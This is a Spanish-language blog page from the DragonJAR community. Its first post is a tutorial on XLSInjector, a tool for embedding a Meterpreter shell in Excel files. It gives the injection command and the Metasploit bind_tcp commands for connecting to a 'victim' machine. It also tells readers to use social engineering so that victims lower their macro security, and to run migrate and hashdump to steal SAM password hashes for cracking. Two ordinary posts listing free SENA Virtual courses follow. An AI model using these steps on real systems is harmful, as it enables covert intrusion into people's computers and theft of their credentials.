La Comunidad DragonJAR » microsoft excel

XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

DragoN — Thu, 26 Nov 2009 02:31:56 +0000

Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

Una Maquina (virtual o real) con Windows
Microsoft Excel
Perl
El modulo Win32:OLE para Perl
Un archivo XML a infectar
El XLSInjector
y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

iniciamos la consola del metasploit
una vez en la consola de MSF cargamos el payload de meterpreter
set payload windows/meterpreter/bind_tcp
lo configuramos adecuadamente
set RHOST ipdelpcvictima set RPOT 4444
luego lo lanzamos
exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto, hay que recordar que las shell meterpreter son diferentes a las del sistema operativo, y tienen su propio listado de comandos, puedes sacar el listado de comandos disponibles para la shell meterpreter escribiendo “?” y enter, te arrojara algo parecido a esto:

Core Commands =============
Command Description ——- ———– ? Help menu channel Displays information about active channels close Closes a channel exit Terminate the meterpreter session help Help menu interact Interacts with a channel irb Drop into irb scripting mode migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel run Executes a meterpreter script use Load a one or more meterpreter extensions write Writes data to a channel
Stdapi: File system Commands ============================
Command Description ——- ———– cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rmdir Remove directory upload Upload a file or directory
Stdapi: Networking Commands ===========================
Command Description ——- ———– ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table
Stdapi: System Commands =======================
Command Description ——- ———– execute Execute a command getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shutdown Shuts down the remote computer sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands ===============================
Command Description ——- ———– idletime Returns the number of seconds the remote user has been idle uictl Control some of the user interface components
Priv: Password database Commands ================================
Command Description ——- ———– hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands ========================
Command Description ——- ———– timestomp Manipulate file MACE attributes

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Por ultimo les dejo el video del autor, donde nos enseña el funcionamiento del XLSInjector

También puede interesarte...

Sena Virtual Cursos Gratis de Informática

DragoN — Mon, 23 Feb 2009 06:30:14 +0000

Sena Virtual todo los cursos Gratis relacionados con la informática y la computación en general

Sena Virtual es la division del SENA (Servicio Nacional de Aprendizaje), que por medio de su página www.senavirtual.edu.co o su plataforma sena sofia plus está implementando nuevos cursos virtuales sobre Informática y Ofimática, entre las temáticas encontramos manejo básico de gnu linux, Arquitectura de Computadores, Ensamble y Mantenimiento de Computadores y manejo avanzado de las herramientas ofimáticas word y excel.

Recordemos que al terminar los cursos en el sena virtual te dan un certificado del sena y entras automáticamente en la bolsa de empleo del SENA donde podrás ser llamado para trabajar en prestigiosas empresas del sector tecnológico del país.

El listado de cursos que puedes realizar en el sena virtual sobre Informatica:

Arquitectura de Computadores por instructores del sena virtual
Fundamentación de Ensamble y Mantenimiento de Computadores para los procesos de Soporte Técnico
Informática: Mantenimiento de computadores
Informática: Microsoft® Word e internet
Informática: Microsoft® Word y Excel
Linux:Sistema Operativo,Comandos y Utilidad
Manejo de herramientas de internet y correo electrónico
Manejo de Herramientas Ofimáticas: Microsoft Excel

Curso de Ofimática en el sena virtual:
Arquitectura de Computadores
Como elaborar videos para youtube sobre el sena virtual
Fundamentación de Ensamble y Mantenimiento de Computadores para los procesos de Soporte Técnico
Informática: Mantenimiento de computadores
Informática: Microsoft® Word e internet
Informática: Microsoft® Word y Excel
Linux:Sistema Operativo,Comandos y Utilidad
Manejo de herramientas de internet y correo electrónico
Manejo de Herramientas Ofimáticas: Microsoft Excel

Curso gratis de diseño web a través del sena virtual
Aprenderemos como se realizó el sena virtual con su creador
Autocad 2D
Autocad 3D
Corel Draw – Textos y Organización de Objetos
Corel Draw – Transformación de Objetos y Efectos Especiales
Corel Draw – Utilización de herramientas de diseño Vectorial
Desarrollo y publicación de sitios Web utilizando la herramienta Frontpage
Diseño de Sitios Web, estrategias y usos de herramientas de diseño – Frontpage
Diseño Web con Macromedia Dreamweaver Mx
Flash – Animacion en 2D
Manejo de Adobe Photoshop
Manejo de Herramientas Informáticas: Solid Edge
Programación de páginas Web con HTML y JAVASCRIPT

Curso de Programación Orientada a Objetos gratis con el sena virtual
Desarrollo de aplicaciones con Interfaz Gráfica, Manejo de Eventos, Clases y Objetos : Java
Desarrollo de Aplicaciones con Manejo de Archivos de Texto y el Manejo de Excepciones en JAVA
Desarrollo de Aplicaciones con Manejo de Datos en la Memoria- Java
Desarrollo de Aplicaciones con Manejo de Proceso Simultaneo y Uso de Menús: Java
Desarrollo de Applets/Aplicaciones con Uso de Base de Datos, Redes, Servlets y Multimedia
Estructura del Lenguaje de Programación c++ ( Nivel I)
Módulos, estructura de almacenamiento y POO utilizando el lenguaje de programación C++ ( Nivel II)
Uso de clases, objetos, métodos y archivos secuenciales en POO con lenguaje de programación C++ ( Nivel III)
Variables y estructuras de Control en la Programación orientada a objetos: Java

Curso de Modelado de Datos gracias al sena virtual
Aplicación metodología orientada a objetos utilizando el estándar UML
Base de datos: Conceptuación y sistemas de Administración aplicado en el sena virtual
Diseño de Casos de Uso
Estructuras de datos Lineales
Estructuras de datos No Lineales
Informática: Administración de bases de datos utilizando Microsoft® Access 2000
Informática: Diseño de bases de datos en SQL
Metodología de la Programación de Sistemas Informáticos
Metodologías de Análisis y Diseño de Sistemas-de la incepción al diseño de la arquitectura
Metodologías de Análisis y Diseño de Sistemas-del diseño a la implementación
Modelación de Sistemas – Modelación
Modelación de Sistemas – Simulación
Principios del análisis y diseño orientado a objetos, utilizando el estándar UML

Cursos de calidad en el software por el sena virtual
Modelos de calidad para desarrollo de software
Calidad en el Desarrollo de Software para mejorar su calidad
Como aplicación de la Calidad del Software en el proceso de Desarrollo

ESTA PAGINA NO TIENE RELACION ALGUNA CON EL sena virtual, SOLO INFORMA DE LOS CURSOS QUE ESTE BRINDA, SI QUIEREN PONERSE EN CONTACTO CON EL SENA VIRTUAL ENTRANDO AL SITIO OFICIAL www.senavirtual.edu.co

Para acceder a estos cursos gratuitos del SENA solo tienes que entrar al enlace del sena virtual.

También puede interesarte...

www.senavirtual.edu.co – Cursos virtuales GRATIS en el Sena

DragoN — Thu, 28 Feb 2008 19:47:59 +0000

www.senavirtual.edu.co, ingresa AQUI!! a la pagina oficial del SENA, para acceder a los cursos GRATIS… me he enterado que el sena esta dando cursos virtuales con certificación (diploma que puedes bajar de www.senavirtual.edu.co) totalmente gratis y con posibilidades de becas estudiantiles para sus alumnos, de momento los que hay en su plataforma sena sofia plus accesible desde www.senavirtual.edu.co los siguientes cursos gratuitos relacionados con la informática:

Curso de Ofimática en el www.senavirtual.edu.co
Fundamentación de Ensamble y Mantenimiento de Computadores para los procesos de Soporte Técnico
Linux:Sistema Operativo,Comandos y Utilidad
Informática: Microsoft® Word e internet
Informática: Microsoft® Word y Excel
Manejo de herramientas de internet y correo electrónico
Manejo de Herramientas Ofimáticas: Microsoft Excel
Arquitectura de Computadores
Como elaborar videos para youtube sobre el www.senavirtual.edu.co
Informática: Mantenimiento de computadores

Curso gratis deDiseño Web a través del www.senavirtual.edu.co
Programación de páginas Web con HTML y JAVASCRIPT
Diseño Web con Macromedia Dreamweaver Mx
Manejo de Adobe Photoshop
Manejo de Herramientas Informáticas: Solid Edge
Autocad 2D
Autocad 3D
Corel Draw – Utilización de herramientas de diseño Vectorial
Corel Draw – Textos y Organización de Objetos
Corel Draw – Transformación de Objetos y Efectos Especiales
Desarrollo y publicación de sitios Web utilizando la herramienta Frontpage
Diseño de Sitios Web, estrategias y usos de herramientas de diseño – Frontpage
Aprenderemos como se realizó el www.senavirtual.edu.co con su creador
Flash – Animacion en 2D

Curso de Programación Orientada a Objetos gratis con el www.senavirtual.edu.co
Variables y estructuras de Control en la Programación orientada a objetos: Java
Desarrollo de aplicaciones con Interfaz Gráfica, Manejo de Eventos, Clases y Objetos : Java
Desarrollo de Aplicaciones con Manejo de Datos en la Memoria- Java
Desarrollo de Aplicaciones con Manejo de Archivos de Texto y el Manejo de Excepciones en JAVA
Desarrollo de Aplicaciones con Manejo de Proceso Simultaneo y Uso de Menús: Java
Desarrollo de Applets/Aplicaciones con Uso de Base de Datos, Redes, Servlets y Multimedia
Estructura del Lenguaje de Programación c++ ( Nivel I)
Módulos, estructura de almacenamiento y POO utilizando el lenguaje de programación C++ ( Nivel II)
Uso de clases, objetos, métodos y archivos secuenciales en POO con lenguaje de programación C++ ( Nivel III)

Curso de Modelado de Datos gracias al www.senavirtual.edu.co
Informática: Administración de bases de datos utilizando Microsoft® Access 2000
Informática: Diseño de bases de datos en SQL
Metodología de la Programación de Sistemas Informáticos
Estructuras de datos Lineales
Estructuras de datos No Lineales
Modelación de Sistemas – Modelación
Modelación de Sistemas – Simulación
Base de datos: Conceptuación y sistemas de Administración aplicado en el www.senavirtual.edu.co
Diseño de Casos de Uso
Metodologías de Análisis y Diseño de Sistemas-de la incepción al diseño de la arquitectura
Metodologías de Análisis y Diseño de Sistemas-del diseño a la implementación
Principios del análisis y diseño orientado a objetos, utilizando el estándar UML
Aplicación metodología orientada a objetos utilizando el estándar UML

Curso de Calidad en el Desarrollo de Software por el www.senavirtual.edu.co
Calidad en el Desarrollo de Software
Aplicación de la Calidad del Software en el proceso de Desarrollo
Modelos de calidad de software

ESTA PAGINA NO TIENE RELACION ALGUNA CON EL www.senavirtualedu.co, SOLO INFORMA DE LOS CURSOS QUE ESTE BRINDA, SI QUIEREN PONERSE EN CONTACTO CON EL SENA VIRTUAL ENTRANDO AL SITIO OFICIAL www.senavirtual.edu.co

Curso en video donde enseñamos a manejar la pagina www.senavirtual.edu.co

www.senavirtual.edu.co

También puedes ver todos los cursos visitando el www.senavirtual.edu.co